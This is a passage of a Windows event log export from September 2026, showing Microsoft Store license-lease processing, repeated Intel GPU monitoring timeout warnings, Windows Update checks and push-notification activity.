{1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.881\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.881\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.882\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.882\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8011\t0x21f831d3070: 18884: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8012\t0x21f831d3070: 18884: Key:Valid Change: Key:Invalid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8011\t0x21f8312a820: 15996: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8011\t0x21f8312a820: 15996: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8012\t0x21f8312a820: 15996: Lease:Valid Change: Lease:Invalid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8001\t\"Requesting lease document removal for reason 0x00000000, {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.478\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.478\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.479\t8002\t\"Trying to remove timer {7BA318A1-DC47-F731-723C-537E883DC563} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.479\t8001\t\"Removed timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:12.858\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:13.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:13.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.087\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.978\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:16.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:16.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.538\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:18.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:21.542\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:22.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:22.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:23.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:24.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:24.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:25.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:25.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:26.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:26.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:28.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:29.320\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:29.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:31.991\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:33.862\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:44:34.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:37.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:39.447\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:39.669\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.874\t26\tWindows Update successfully found 2 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:44:42.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:42.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.999\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:44:47.457\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:48.347\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:49.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:50.133\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:50.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.373\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.919\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:53.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:53.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:55.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:45:01.685\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:01.687\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, SppProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:05.575\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:05.576\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:05.576\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:12.453\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:45:12Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:45:31.700\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_TpmProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:45.024\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:45:45.027\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9399 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:45:45.043\t3053\ttile with notification tracking id 9399 is being delivered to MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:46:47.009\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:16.664\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:19.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:20.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:28.226\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:28.255\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:28.255\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 